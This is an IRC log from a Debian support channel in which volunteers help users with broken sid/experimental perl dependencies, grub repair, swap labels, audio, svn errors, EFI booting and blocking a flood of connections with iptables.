| 19:45.14 | Iridos | oh well... oscsumpthing left anyway |
| 19:45.27 | sephii | any idea how i can trace that? |
| 19:45.34 | skrite | wols: jelly-home ok, thanks.. |
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| 19:45.49 | skrite | jelly-home: by backport it, you mean use the sid repo? |
| 19:45.51 | Pen | hello:) |
| 19:46.08 | Iridos | dpkg, tell skrite -about ssb |
| 19:46.17 | Pen | somebody dutch here? |
| 19:46.34 | Iridos | there was, but we killed him |
| 19:46.49 | DrMrHorse | poor boy |
| 19:47.47 | Pen | why?:P |
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| 19:48.12 | ompaul | Pen: because he asked was "somebody dutch here" |
| 19:48.18 | Pen | haha xd |
| 19:48.25 | jelly-home | skrite: if there is a sid repo, use its deb-src part to build the binary packages for your installation |
| 19:48.28 | jelly-home | skrite: /msg dpkg ssb |
| 19:48.38 | jelly-home | skrite: /msg dpkg package rebuild |
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| 19:49.28 | Pen | are you gonna kill me now? |
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| 19:50.05 | krakrjak | Pen: only if you ask politely like a good Dutch person |
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| 19:51.08 | zykotick9 | can Swap partitions be assigned Labels and mounted using Label= lines in fstab? |
| 19:51.12 | Pen | sorry but what do you mean with politely? xd |
| 19:51.38 | stew | zykotick9: yes |
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| 19:51.45 | zykotick9 | stew, thanks |
| 19:52.06 | stew | zykotick9: mkswap has an option to set a label |
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| 19:53.58 | skrite | jelly-home: ok, thanks for that. |
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| 19:59.44 | zykotick9 | stew, worked great. Thanks. Now to update my other multi-boots fstab files. |
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| 20:07.36 | babilen | !tell radoje -about fixmbr |
| 20:08.22 | Iridos | radoje, you could chroot into the root of the disk, mount /proc and udev on /dev and then just call update-grub and grub-install |
| 20:09.01 | Iridos | well, that's about what the factoid says |
| 20:09.10 | Iridos | \o/ for wasted effort |
| 20:09.34 | radoje | Iridos: babilen thank you |
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| 20:10.15 | babilen | yw, ... /me high-fives Iridos |
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| 20:10.59 | Iridos | that's rule 55 or so? "whatever you can tell people, there's a factoid that does it more exhaustively"? |
| 20:11.16 | wechat_for_real | what is debian channel for testing? |
| 20:11.24 | Iridos | points to the topic |
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| 20:13.06 | jelly-home | Iridos: but who knows that wheezy = testing at present! |
| 20:13.31 | Iridos | points to the pretty useless topic? |
| 20:13.44 | jelly-home | Iridos: exactly |
| 20:13.59 | Iridos | points one of the !ops to the pretty pointless topic? |
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| 20:14.26 | jelly-home | using codenames the whole time can be daunting for newcomers |
| 20:14.29 | neocortex | hello everyone, maybe someone can help me... i installed gnome3 gnome-shell using "apt-get -t experimental", it was working for 2 days but now it might have pulled in something that uninstalled perl for me |
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| 20:14.45 | Iridos | wechat_for_real, could you decipher all that? |
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| 20:15.40 | neocortex | after my last -dist-upgrade among others APT removed perlapi-5.12 virtual package that is not provided by the new experimental perl debs any more |
| 20:15.51 | twobitsprite | neocortex: experimental isn't supported in here... try #debian-next |
| 20:15.52 | neocortex | and now, a lot of apps have been removed too |
| 20:16.00 | twobitsprite | !experimental |
| 20:16.01 | dpkg | experimental is the bleeding edge of Debian Development. Packages here have been deemed unfit/DANGEROUS/untrustworthy/etc for release by the maintainer responsible for them. DO NOT INSTALL PACKAGES FROM EXPERIMENTAL WITHOUT KNOWING EXACTLY WHY AND WHAT YOU ARE DOING. #debian does _not_ support experimental. For an actual description, see section 4.6.4.3 of the Developer's Reference. http://packages.debian.org/experimental/ |
| 20:16.03 | wechat_for_real | Iridos: decipher -- what's it? |
| 20:16.05 | jelly-home | wechat_for_real: in short there's #debian-next on irc.debian.org (= irc.oftc.net) for Debian testing. wheezy is the codename of current testing |
| 20:16.15 | wechat_for_real | ok |
| 20:16.16 | neocortex | oh thanks |
| 20:16.17 | mns | Anyone have pointers on how to monitor a Linksys RT31P2 router ? I want to be able to look at the logs and such, but doesn't look like I can get at anything like that. |
| 20:16.24 | wechat_for_real | change the domain |
| 20:16.28 | neocortex | so if i pull something in from experimental that breaks other stuff, i should go there? |
| 20:16.38 | Iridos | wechat_for_real, we were referring to "wheezy/sid: #debian-next/me (irc.oftc.net)" |
| 20:16.55 | jelly-home | neocortex: you should be aware that experimental breaks things |
| 20:16.58 | twobitsprite | neocortex: if you're pulling stuff from experimental, expect things to break, and don't expect any real support, but the people in #debian-next might at least have some idea |
| 20:17.00 | neocortex | yes mine was sid |
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| 20:17.19 | Iridos | also expect sid to break |
| 20:17.24 | neocortex | but now lotsa stuff doesnt work |
| 20:17.29 | twobitsprite | yep |
| 20:17.34 | twobitsprite | that happens with experimental |
| 20:17.40 | jelly-home | neocortex: download perl-base and perl .debs manually and install with dpkg |
| 20:17.45 | Iridos | sid isn't a distribution, it's a hobby for people who love to debug problems |
| 20:17.49 | neocortex | yes i did that |
| 20:18.05 | neocortex | still no perlapi-5.12.3 provided |
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| 20:18.18 | neocortex | almost everything needs it |
| 20:18.28 | jelly-home | ,whatprovides perlapi-5.12.3 --release sid |
| 20:18.30 | judd | Package perlapi-5.12.3 in sid/i386 is provided by: perl-base. |
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| 20:18.40 | jelly-home | neocortex: you installed wrong perl-base, then |
| 20:18.49 | jelly-home | ,versions perl-base |
| 20:18.49 | judd | Package perl-base on i386 -- lenny: 5.10.0-19lenny3; lenny-security: 5.10.0-19lenny5; squeeze: 5.10.1-17squeeze1; squeeze-security: 5.10.1-17squeeze2; sid: 5.12.4-1; wheezy: 5.12.4-1; experimental: 5.14.0-1 |
| 20:18.50 | neocortex | yes that's my question, what provides it ? |
| 20:18.55 | neocortex | or is that a command? :) |
| 20:19.13 | jelly-home | neocortex: judd just said what did |
| 20:19.14 | neocortex | # whatprovides bash: whatprovides: command not found |
| 20:19.28 | Iridos | neocortex, see the answer from the bot judd in here |
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| 20:19.44 | twobitsprite | neocortex: it's a command to the bot in here, not on your debian system |
| 20:20.37 | neocortex | yes in sid, but all the deps now need >5.14-1, and if i install THAT perl-base other perl stuff from experimental, there's no perlapi-5.12 any more |
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| 20:20.56 | jelly-home | neocortex: DONT install perl from experimental |
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| 20:21.19 | neocortex | ok so if i downgrade to 5.12, how do i force apt to downgrade all its deps but strictly ITS deps |
| 20:21.36 | neocortex | and don't remove anything else |
| 20:21.43 | twobitsprite | neocortex: you'll likely have to uninstall it and it's deps and reinstall them from sid |
| 20:21.45 | jelly-home | that's a good question |
| 20:21.48 | twobitsprite | !downgrade |
| 20:21.48 | dpkg | [downgrade] Downgrading is not possible with apt-get/aptitude and no future support is anticipated. Some programs change the binary format of their files in a way that cannot be rolled back later, and package maintainer scripts provide ways to upgrade to new config file formats but not ways to downgrade. You can always try to downgrade a package using dpkg -i <olderversion.deb>. See also <partial downgrade>, <unstable->testing>, <sdo>. |
| 20:22.01 | neocortex | like one by one based on apt-get's error messages |
| 20:22.02 | neocortex | < |
| 20:22.04 | neocortex | ? |
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| 20:22.13 | neocortex | that is very unconvenient |
| 20:22.23 | twobitsprite | *shrug* have fun :) |
| 20:22.36 | jelly-home | neocortex: aptitude's search facilities would probably help |
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| 20:22.42 | jelly-home | !not available |
| 20:22.42 | dpkg | To get a list of packages that are not available from any repository in your sources.list: aptitude search '?narrow(?not(?archive("^[^n][^o].*$")),?version(CURRENT))' |
| 20:23.01 | twobitsprite | yeah, you can look at the package info in apt, etc and try to construct a list of packages which would need to be reinstalled |
| 20:23.02 | jelly-home | that might not be it |
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| 20:23.18 | neocortex | i just realized that apt removed aptitude too |
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| 20:23.41 | twobitsprite | do you still have apt-get at least? |
| 20:23.42 | jelly-home | neocortex: you do have logs for apt and dpkg and can retace steps |
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| 20:24.07 | neocortex | aptitude : Depends: libapt-pkg4.10 |
| 20:24.10 | jelly-home | /var/log/dpkg.log and /var/log/apt/* |
| 20:25.08 | Iridos | neocortex, you can also always do something like "apt-get install package=someversion" on single packages (where version is the version string you get from dpkg -l) |
| 20:25.28 | jhutchins | jelly-home: On squeeze all my apt logs are empty - is it switched off by default? |
| 20:25.48 | neocortex | omg everything i used disapperaed, bare with me i pasting that to pastebin is now complicated |
| 20:25.48 | twobitsprite | Iridos: I think it'll complain about older versions, especially with older depends... not sure I'd trust that |
| 20:25.56 | jelly-home | jhutchins: have you ever used it to install or remove stuff? |
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| 20:26.09 | neocortex | yes i sometimes do that with the equals sign |
| 20:26.34 | neocortex | but since i started that things regularly break |
| 20:26.47 | Iridos | twobitsprite, it might... and apt-get might be unable to resolve dependencies... I didn't say it was a perfect solution :) |
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| 20:27.02 | neocortex | i mean not binary functionality, but apt dependencies |
| 20:27.08 | jhutchins_lt | jelly-home: Yes, added and removed a lot. |
| 20:27.11 | twobitsprite | Iridos: hehe... well, sounds to me like he's likely too far down the rabbit hole to recover that way |
| 20:27.20 | jhutchins_lt | jelly-home: Usually with aptitude. |
| 20:27.24 | jelly-home | jhutchins_lt: using apt (not aptitude) |
| 20:27.30 | jhutchins_lt | Um, no. |
| 20:27.33 | jelly-home | well then |
| 20:27.38 | jelly-home | why would it log a thing |
| 20:27.39 | neocortex | i'm using debian for 3 months, and it usually breaks because of apt dependencies, not because of wrongly written source code |
| 20:27.56 | jelly-home | neocortex: that's expected with sid |
| 20:27.58 | twobitsprite | neocortex: well, don't run sid :) |
| 20:28.06 | twobitsprite | and especially not experimental :) |
| 20:28.09 | Iridos | twobitsprite, well... the way I see it it's already broken pretty much as hard as you can break it, so it's a win-win situation... :-P |
| 20:28.21 | Iridos | neocortex, oh... and of course you could also play back in your backups |
| 20:28.26 | twobitsprite | Iridos: you can't win-win when you've already lost :P |
| 20:28.43 | jhutchins_lt | jelly-home: Um, nevermind, they seem populated now. I wonder when/where they weren't? |
| 20:28.45 | Iridos | twobitsprite, that's where you go wrong... you can't lose when you've already lost :-P |
| 20:28.51 | twobitsprite | lol |
| 20:29.10 | neocortex | okay but many things would otherwise work if newer binaries were in their correct places but usually theres no perfect way of putting them there from sid/experimental |
| 20:29.24 | twobitsprite | neocortex: protip: reinstall the system with a stable release CD, then if you must, upgrade to testing and leave sid/experimental alone :) |
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| 20:29.57 | twobitsprite | neocortex: that's the point of sid/experimental... developers upload packages as they build them, and they aren't expected to have all the right depends and packages in place |
| 20:30.01 | Iridos | twobitsprite, win-win in the way... either you go towards fixing it, or you finally get it into a state bad enough so you finally realize you should do the reinstall you should have begun some hours of fiddeling previous |
| 20:30.05 | neocortex | without breaking dependencies or forcing apt to upgrade or hold |
| 20:30.43 | neocortex | what? like perlapi ? |
| 20:30.45 | jhutchins_lt | neocortex: Sid was never intended to be a working release. |
| 20:31.01 | twobitsprite | sid is not a release |
| 20:31.02 | neocortex | how can you say that, its a very central virtual package |
| 20:31.08 | twobitsprite | it's not a distribution |
| 20:31.10 | jhutchins_lt | neocortex: Sometimes you get lucky and it works like one - for a while. |
| 20:31.31 | jelly-home | twobitsprite: it is a distrbution tho |
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| 20:31.48 | jelly-home | just not a release in the "released" sense |
| 20:31.59 | jhutchins_lt | jelly-home: For certain broad values of "distribution". |
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| 20:32.05 | twobitsprite | jelly-home: well.... I guess we can fiddle with terms... it is a branch on the repo at a minimum |
| 20:32.12 | jelly-home | jhutchins_lt: as broad as Debian mirrors go |
| 20:32.36 | jhutchins_lt | Someone described it as a repository of developmental software. |
| 20:32.40 | jelly-home | twobitsprite: it's a complete set, just the parts don't all fit together the whole time |
| 20:32.47 | neocortex | so basically in experimental there's now perl-5.14 but packages depend strictly on a virtual package provided by perl-5.12, how can a package builder who builds perl-5.14 not provide a perlapi virtual package, thats what i dont get? |
| 20:32.47 | jhutchins_lt | repository or pool... |
| 20:32.51 | twobitsprite | jelly-home: true |
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| 20:33.07 | twobitsprite | neocortex: becuase it's not supposed to work in experimental |
| 20:33.11 | twobitsprite | that's the point |
| 20:33.29 | jhutchins_lt | neocortex: Maybe that's someone else's job and they haven't gotten around to it yet. |
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| 20:33.39 | twobitsprite | the devs already have the right depends installed from places like sid or testing, and they black magic with pinning and prefered releases, etc |
| 20:33.52 | skrite | jelly-home: thanks for your help, got it working |
| 20:33.53 | neocortex | so on HIS system, he doesn't need any perlapi-5.12 dependency for other programs he uses , installed by APT? |
| 20:33.57 | jelly-home | twobitsprite: you accidentally the verb |
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| 20:34.01 | jhutchins_lt | Plus debs work directly with upstream source at times. |
| 20:34.05 | twobitsprite | jelly-home: yeah, I saw that :P |
| 20:34.05 | jhutchins_lt | devs that is. |
| 20:34.47 | jelly-home | neocortex: probably upgrades the whole of perl to 5.14 if they want 5.14 |
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| 20:34.56 | twobitsprite | experimental is for development to use, not end users... no one should be pulling packages from experimental unles you *really **really** know what you're doing... i.e., you're actively participating on the mailing lists to help the devs or something |
| 20:34.57 | jelly-home | neocortex: perl migrations are tricky tho |
| 20:35.13 | neocortex | and how a developer like that wont get any error when installing his own package? or doesn't he test it at least once? |
| 20:35.34 | twobitsprite | neocortex: look, don't you worry about it... reinstall to stable, upgrade to testing and leave it at that |
| 20:35.38 | jelly-home | neocortex: they KNOW it's broken, that's why it's in experimental and not sid! |
| 20:36.00 | twobitsprite | if you really want to know the nitty gritty of the development cycle, it's fairly well documented and anything else you would learn from a mentor or something |
| 20:36.21 | neocortex | no i don't really know what APT's doing, despite that was my point in using linux in the first place to have more control than on proprietary OS's |
| 20:36.23 | twobitsprite | but unles you plan to developing for debian, stick with stable or testing |
| 20:36.33 | neocortex | jelly-home: ah I see |
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| 20:37.17 | neocortex | jelly-home: so they put it there for sharing with other devs to fix it together in order to be later release it in sid ? |
| 20:37.23 | jelly-home | neocortex: yes |
| 20:37.29 | twobitsprite | neocortex: you can have lots of fine-grained and complex control over how apt works, and it's all documented |
| 20:37.43 | neocortex | twobitsprite: yes i know, it's just too long to read |
| 20:37.46 | twobitsprite | neocortex: and you need very specific and complex configurations for apt to work experimental packages |
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| 20:37.58 | jelly-home | twobitsprite: and lots of it is illogical and buggy |
| 20:37.59 | twobitsprite | neocortex: well, you wanted more control, you need to learn *how* to control :) |
| 20:38.06 | jelly-home | *cough*pinning*cough* |
| 20:38.07 | twobitsprite | jelly-home: at times, yes |
| 20:38.12 | neocortex | twobitsprite: correct |
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| 20:38.25 | jelly-home | twobitsprite: yeah if "at times" ~ /for the last decade/ |
| 20:38.30 | twobitsprite | neocortex: which means you need to read those long, boring documents :) |
| 20:38.43 | neocortex | twobitsprite: but when there's something essential that breaks, i want to fix it quickly instead of reading man pages on 80x25 |
| 20:38.47 | twobitsprite | jelly-home: well, tbh, it's been a while since I've messed with pinning :P |
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| 20:39.08 | jelly-home | neocortex: if you can't deal with essential stuff breaking, don't upgrade that day |
| 20:39.13 | jhutchins_lt | neocortex: Guess you never read Lord of the Rings then? |
| 20:39.17 | twobitsprite | neocortex: if it's essential, and you don't want it to break, and want to be able to fix it quickly without actually knowing what you're doing... DON'T RUN SID OR EXPERIMENTAL :) |
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| 20:39.21 | snax | hi |
| 20:39.25 | neocortex | twobitsprite: and experiment. that has to be done on a virtual system |
| 20:39.51 | twobitsprite | OR... RTFM! :) |
| 20:40.01 | snax | Just installed squeeze, I can play videos with mplayer but no sound. What packege should I look for? Note: I added the following to sources.list |
| 20:40.02 | twobitsprite | !wave snax |
| 20:40.03 | dpkg | waves at snax |
| 20:40.03 | jhutchins_lt | neocortex: If that's how you feel about man pages you should NOT run testing, unstable, or experimental. |
| 20:40.04 | snax | deb http://ftp.ro.debian.org/debian squeeze main non-free |
| 20:40.22 | jhutchins_lt | neocortex: That is something that requires having already read man pages, and howtos, and wikis. |
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| 20:40.35 | twobitsprite | neocortex: no offense, but we aren't baby sitters standing by 24/7 to help ever noob (no offense) who breaks their system and refuses to rtfm :) |
| 20:40.40 | th0r | neocortex: if that is how you feel about man pages, you shouldn't be running linux |
| 20:40.48 | jhutchins_lt | th0r: Agreed. |
| 20:40.49 | krakrjak | snax: no sound... can any program play sounds? |
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| 20:40.52 | neocortex | twobitsprite: ok, i'll go look after it, so you don't know how i fix this quickly, can i diagnose something like this using a comprehensive output or some log file? |
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| 20:41.16 | jhutchins_lt | !tell snax about alsa checklist |
| 20:41.18 | snax | krakrjak: amarok does |
| 20:41.26 | twobitsprite | neocortex: my guess is you *don't* fix it, at least not without some serious apt black magic, and likely having to install upstream sources of some things |
| 20:41.39 | neocortex | th0r: i don't feel bad about man pages, i feel very bad about reading them on 80x25 console because something serious has broken :) |
| 20:41.43 | krakrjak | snax: I've had something like this before. There are two cases here. |
| 20:41.55 | krakrjak | snax: something is holding the sound card open so mplayer can't open it. |
| 20:42.05 | krakrjak | snax: or mplayer is using the wrong audio backend. |
| 20:42.14 | stew | neocortex: "APT removed perlapi-5.12 virtual package" <- this doesn't make any sense. if a package is virutal there is no package to be removed |
| 20:42.19 | snax | oh ok |
| 20:42.27 | krakrjak | snax: try closing Amarok and any other programs that play sounds then try mplayer |
| 20:42.36 | th0r | neocortex: my statement stands then |
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| 20:42.44 | twobitsprite | neocortex: if you really want to learn how to fix it, you're welcome to ask on the developers mailing lists and see if they'll be willing to help you... but if they suspect for a moment that you haven't even read the apt manual, they'll tell you to take a hike |
| 20:42.54 | neocortex | stew: okay, it removed a package that provided that particular virtual package |
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| 20:43.05 | twobitsprite | neocortex: not trying to be discouraging to mean or anything, but that's the reality of it |
| 20:43.37 | stew | neocortex: you should never let it remove a package marked Essential |
| 20:43.39 | snax | krakrjak: acutally I had to change it to alsa thanks. |
| 20:44.00 | neocortex | twobitsprite: no I don't want them help me fix it and steal their time that they could use for doing real developer work :) |
| 20:44.09 | pingouin | hello, does debian squeeze/stable support the new bios called efi/uefi that we can find on news motherboards ? is there anything special to make it work with debian/kernel/linux ? |
| 20:44.10 | krakrjak | snax: sure glad to help. |
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| 20:45.25 | jhutchins_lt | pingouin: Yes, and yes, both grub-legacy and grub2 can work with efi. Look at some of the debian-on-apple pages on the wiki (newer apple gear uses it). |
| 20:45.35 | stew | neocortex: "neocortex> still no perlapi-5.12.3 provided" yes, perl-base provides perlapi-5.14.0 now |
| 20:45.45 | jhutchins_lt | pingouin: I've done it, but that was with Centos 4. |
| 20:45.47 | neocortex | stew: great |
| 20:45.59 | neocortex | and is there amd64? |
| 20:46.03 | neocortex | perl-base |
| 20:46.19 | stew | its essential, its on every arch, of course |
| 20:46.28 | neocortex | stew has it just changed now? |
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| 20:46.40 | stew | neocortex: http://packages.qa.debian.org/$packagename |
| 20:46.46 | pingouin | jhutchins_lt: ok, thanks you |
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| 20:47.15 | twobitsprite | stew: experimental requires a package to exist in every arch? |
| 20:47.26 | stew | twobitsprite: no |
| 20:47.28 | neocortex | twobitsprite: no |
| 20:47.31 | FDFlock | pingouin: You can however boot a normal (GPT or MBR) disk with those BIOSes, without using EFI. |
| 20:47.34 | stew | oh, wait, i was looking at experimental, oops |
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| 20:47.56 | stew | neocortex: so replace where I sayd 5.14.0 with 5.12.4 and repeat |
| 20:48.05 | FDFlock | pingouin: At least with some of them! |
| 20:48.19 | neocortex | twobitsprite: i say that because many times at the time of appearance there's one or two and sometimes i386 or even amd64 packages are missing for days or even weeks |
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| 20:49.13 | neocortex | twobitsprite: yet available for other archs - in that case if i need something i go try build it myself |
| 20:49.27 | neocortex | ok another very serious issue i met I'm not sure its because of experimental |
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| 20:49.36 | neocortex | and dunno how to debug it |
| 20:49.37 | wathek | Hi all |
| 20:49.41 | neocortex | svn co says "generic failure" to everything |
| 20:50.11 | neocortex | and nothing else |
| 20:50.13 | jhutchins_lt | neocortex: It's those pesky man pages again. |
| 20:50.16 | wathek | I've just upgraded my debian (wheezy) and I got problem with Google-Chrome and Firefox (they were working well) but now I'm getting this : Inconsistency detected by ld.so: dl-open.c: 583: _dl_open: Assertion `_dl_debug_initialize (0, args.nsid)->r_state == RT_CONSISTENT' failed! |
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| 20:50.27 | neocortex | google finds things only related to windows svn |
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| 20:51.10 | flock-_ | Hello. I am not sure if Its the right channel to ask it. Is there any way to prevent same ip to join multiple times in my website? Its a debian system, and someone is doing like 5000 connections with only one ip. It's crashing my mysql. |
| 20:51.14 | jhutchins_lt | wathek: That would be the kind of error I woudl expect in testing. |
| 20:51.24 | wathek | lol |
| 20:51.47 | th0r | flock-_: you could block that ip in iptables |
| 20:51.51 | jhutchins_lt | flock-_: iptables throttling |
| 20:51.55 | wathek | jhutchins_lt, yep but unfortunatly I cannot use squeeze since it doesn't support my hardware :( |
| 20:52.25 | jhutchins_lt | ,kernels |
| 20:52.27 | judd | Available kernel versions are: experimental: 3.0.0-rc6-686-pae (3.0.0~rc6-1~experimental.1); sid: 2.6.39-2-686-pae (2.6.39-3); wheezy: 2.6.39-2-686-pae (2.6.39-3); squeeze-backports: 2.6.38-bpo.2-686 (2.6.38-5~bpo60+1); squeeze: 2.6.32-5-686 (2.6.32-35); lenny-backports: 2.6.32-bpo.5-686 (2.6.32-31~bpo50+1); lenny: 2.6.26-2-686 (2.6.26-26lenny3) |
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| 20:52.42 | neocortex | i wanted to build openwrt backfire that has an svn source repository and using svn following their guides but SVN tells me this "generic failure" and tried with everything else it says that |
| 20:52.49 | jhutchins_lt | wathek: You need .39? |
| 20:52.51 | FDFlock | flock-_: You probably cannot prevent their connection attempts (SYN packet flooding), unless you contact their ISP and complain, but you can use suitable iptables rules to block the actual connections |
| 20:52.57 | flock-_ | Well yes iptables its a solution for now, but to prevent this, is there anyway? |
| 20:52.59 | wathek | jhutchins_lt, yes |
| 20:53.11 | FDFlock | flock-_: So there depends on the type of the DoS attack |
| 20:53.20 | jhutchins_lt | wathek: I suppose you could backport it. |
| 20:53.26 | neocortex | jhutchins_lt: no, there's no man pages for svn |
| 20:53.43 | FDFlock | *it depends |
| 20:53.48 | jhutchins_lt | wathek: Just restore the snapshot you made before the upgrade (as you always do on something called "testing") and wait for them to fix it. |
| 20:54.07 | wathek | jhutchins_lt, probably but this sucks !!! it was OK everything's working well |
| 20:54.15 | pingouin | FDFlock: yeah, but it's not always clearly indicated if efi can be switched back to legacy bios.... have to find a good mobo |
| 20:54.19 | wathek | jhutchins_lt, snapshot ? |
| 20:54.23 | neocortex | jhutchins_lt: it directs me to their web page where there's a migration to apache's servers and documentation doesn't refer to this, and theres no reason given for the generic failure, also no indication of a verbose error output among its options |
| 20:54.23 | pingouin | FDFlock: anyway, thanks for advices |
| 20:54.43 | FDFlock | pingouin: Mine doesn't have an option but still boots just fine |
| 20:54.46 | jhutchins_lt | neocortex: http://linux.die.net/man/1/svn <- man page for svn. |
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| 20:54.53 | wathek | jhutchins_lt, it seems that all the browsers don't work I tried Epiphany, Chrome, Iceweasel |
| 20:54.59 | wathek | all the same error |
| 20:55.00 | FDFlock | pingouin: Is there an OS currently installed? |
| 20:55.12 | jhutchins_lt | wathek: Your backup of the system before you knowingly risked failure by upgrading testing. |
| 20:55.32 | jhutchins_lt | wathek: Sounds like a problem in a common library. |
| 20:55.34 | FDFlock | flock-_: If it isn't a distributed attack, legal means could be the best choice (just contact their ISP). |
| 20:55.46 | neocortex | jhutchins_lt: it is not a usage man page, it's a formal man page just for the sake of having one, that provides a link to their webpage. Where theres nothing about 'generic failure' |
| 20:56.00 | wathek | jhutchins_lt, ah ! no I didn't install squeeze and then upgrade to wheezy I've installed wheezy in April and since I'm using it with no problem |
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| 20:56.13 | stew | neocortex: your problem seems like a bug, not a misuse anyway |
| 20:56.17 | stew | neocortex: did you check the bts? |
| 20:56.27 | jhutchins_lt | neocortex: I'm not going to read the internet for you. |
| 20:56.42 | snax | I ran apt-get install g++-4.4 and when I run g++ it says command not found |
| 20:56.55 | stew | snax: the command would be g++-4.4 |
| 20:57.01 | neocortex | stew: what is a bts? buildstat or what? |
| 20:57.10 | stew | !btssmite neocortex |
| 20:57.10 | dpkg | beats neocortex around the head repeatedly with http://bugs.debian.org/ and apt-listbugs, along with a chainsaw if neocortex is running testing or unstable |
| 20:57.27 | jhutchins_lt | neocortex: It would make sense that there wasn't specific information about a generic error. What that means is "you're doing something wrong". |
| 20:57.30 | neocortex | stew: rofl |
| 20:57.46 | stew | neocortex: what is the exact command? |
| 20:58.00 | snax | stew: so I would need a symlink pointing to that, right ? |
| 20:58.27 | stew | snax: no, its not recommended to create such a symlink |
| 20:58.28 | pingouin | FDFlock: no, it'll be a new computer |
| 20:58.32 | neocortex | svn co svn://svn.openwrt.org/openwrt/branches/backfire |
| 20:58.39 | snax | stew: how would make files find it ? |
| 20:58.43 | neocortex | stew: svn co svn://svn.openwrt.org/openwrt/branches/backfire |
| 20:58.57 | jhutchins_lt | Oh, look, a whole BOOK about SVN, and it's free and on-line! http://svnbook.red-bean.com/ |
| 20:59.05 | stew | neocortex: then no, ignore him, it doesn't mean that "you're doing something wrong". that command works for me, you've found a bug |
| 20:59.10 | neocortex | what does it report to you? can you please just do a test for me, i cant find people to help testing |
| 20:59.46 | jhutchins_lt | By all means, ignore the book. |
| 21:00.12 | MrStein | is the image debian-6.0.2.1-kfreebsd-amd64-netinst.iso bootable from an USB key? I written it to a USB key (checked md5sum, also cmp USB with image file) and it does not boot. My other USB keys boot fine on the same PC. |
| 21:00.16 | neocortex | stew: yes he's wrong about me doing sg wrong, when a program reports "generic failure" and nothing else, it is not my fault. if something's my fault or my system's fault it should report what the problems are related to (at minimum) |
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| 21:01.23 | stew | neocortex: yes, so check the bts. if no bug is there, report one. for extra credit, try to debug it |
| 21:01.42 | wathek | jhutchins_lt, I got always links :p |
| 21:02.17 | neocortex | also i have a very important general question about log outputs. how can i debug programs to use a single output console for all kind of errors, to include x session errors, syslog errors and other messages related to the program? is there any good software for that? |
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| 21:03.22 | neocortex | to force anything to output all messages that appear in relationship with its running to a single file or like stdout |
| 21:03.40 | Justin | neocortex: tail -f -n0 /var/log/* ? |
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| 21:03.43 | neocortex | do you know about some program with similar funcitonality ? |
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| 21:04.35 | neocortex | Justin: and just grep for the program's name? will that get me everything that originates from running it? |
| 21:04.41 | MrStein | jhutchins: so it does not work for amd64 , just x86? |
| 21:04.52 | Justin | neocortex: no, that'll get you everything |
| 21:05.12 | jhutchins_lt | MrStein: Should be universal. |
| 21:05.19 | neocortex | Justin: yeah i knew. thats not helpful :) |
| 21:05.28 | MrStein | should - thats such a fine word :) |
| 21:05.46 | MrStein | I'll try the x86 linux and work my way from there |
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| 21:06.19 | jhutchins_lt | MrStein: I think the "x86" reference there means "Intell based" as opposed to ppc or other arches. |
| 21:06.29 | neocortex | stew: does svn report an error for you using this command or it works fine on your linux ? |
| 21:06.35 | jhutchins_lt | MrStein: You really can't upgrade 32 to 64. |
| 21:06.45 | jelly-home | at least not YET |
| 21:06.55 | MrStein | By that I meant to find out which images boot and which not |
| 21:06.55 | stew | neocortex: works fine, i got a full tree checked out and it exited with no errors |
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| 21:07.26 | jhutchins_lt | MrStein: Are you actually after the kfreebsd version? That might have exceptions as well. |
| 21:07.34 | MrStein | yes I am |
| 21:07.36 | neocortex | stew: then its prolly 'cause i'm using sid, again :) |
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| 21:08.09 | stew | neocortex: i'm using sid |
| 21:08.10 | neocortex | oh it works now for me too |
| 21:08.20 | neocortex | it didn't work before the last reboot |
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| 21:10.34 | neocortex | okay guys, stew , jhutchins_lt , twobitsprite , jelly-home and everyone else you were very helpful and propmt, but i'm using experimental packages so i'll go read and experiment some more, cant expect you make my perl come back instantly so thanks a lot anyway |
| 21:10.54 | neocortex | have a nice time |
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| 21:12.04 | arcsky | i got this error when i try to compile, Couldn't find your SSL library installation dir |
| 21:12.55 | arcsky | which openssl and i find its in /usr/bin/openssl but ./configure --with-ssl=/usr/bin/openssl didnt worked |
| 21:13.11 | jhutchins_lt | arcsky: What are you tring to complie and where did you get it? |
| 21:13.29 | arcsky | tlswrap.tar.gz |
| 21:13.42 | FDFlock | Hello! A few days ago (2?) I complained that I had downloaded a CD that was *supposed* to install Wheezy, but Squeeze got installed instead. So here is the question: |
| 21:13.46 | FDFlock | Assume that I have a random Debian CD image mounted somewhere. How can I find out which version it will install, without having to start the actual installation? |
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| 21:13.51 | FDFlock | NOTE: I'm not looking for the version of the Debian installer included on the CD. There are CDs that will install Wheezy with a Squeeze installer. |
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| 21:14.19 | arcsky | jhutchins_lt: http://www.tlswrap.com/ |
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| 21:14.47 | jhutchins_lt | FDFlock: The wheezy installer won't be finalized for a long time yet. Unless you're specifically testing the installer, and still want to test wheezy, you should install squeeze and "upgrade". |
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| 21:15.46 | jhutchins_lt | arcsky: A properly built package will look for the libraries in places that includeing where debian keeps them when you run ./configure |
| 21:16.15 | arcsky | jhutchins_lt: ok |
| 21:16.43 | drdo | Is there something to remove config files from packages that are no longer installed? |
| 21:17.20 | stew | drdo: aptitude purge '~c' |
| 21:17.21 | jhutchins_lt | drdo: purge |
| 21:17.28 | FDFlock | jhutchins_lt: I see, I actually want to use the squeeze installer to install wheezy (without upgrading, if possible), and I thought of using something like this: http://cdimage.debian.org/cdimage/unofficial/non-free/cd-including-firmware/daily-builds/squeeze_d-i/multi-arch/iso-cd/ |
| 21:17.33 | FDFlock | jhutchins_lt: It claims to be exactly what I need, but it actually installs Squeeze! |
| 21:18.18 | FDFlock | jhutchins_lt: Maybe the link is wrong and the "official" version of this CD (without the firmware) would do what I want? |
| 21:18.19 | stew | drdo: or aptitude purge package1 pacakge2... if you want to do them individually |
| 21:18.44 | jhutchins_lt | FDFlock: Somebody probably forgot to change the source file when they did the daily build. Try again tomorrow? Daily builds are "see what's broken this time". |
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| 21:19.30 | jhutchins_lt | FDFlock: If you need support for wheezy you should try #debian-next on oftc.net |
| 21:19.39 | FDFlock | jhutchins_lt: thanks. Where is that source file located/named, so that I can check the CD myself before using it? |
| 21:19.50 | FDFlock | jhutchins_lt: thanks, I'll keep that in mind |
| 21:20.10 | jhutchins_lt | FDFlock: Dunno, I'd have to search it out myself. I haven't worked on the installer, just used it a handful of times. |
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| 21:20.45 | drdo | thanks guys |
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| 21:21.12 | FDFlock | jhutchins_lt: Can I fix the CD myself by changing the source file? (then again I wouldn't know how to make bootable... argh) |
| 21:21.52 | jhutchins_lt | FDFlock: There are programs that allow you to remaster the iso by removing and adding files. You copy the bad file out, fix it, copy it back, and remaster. |
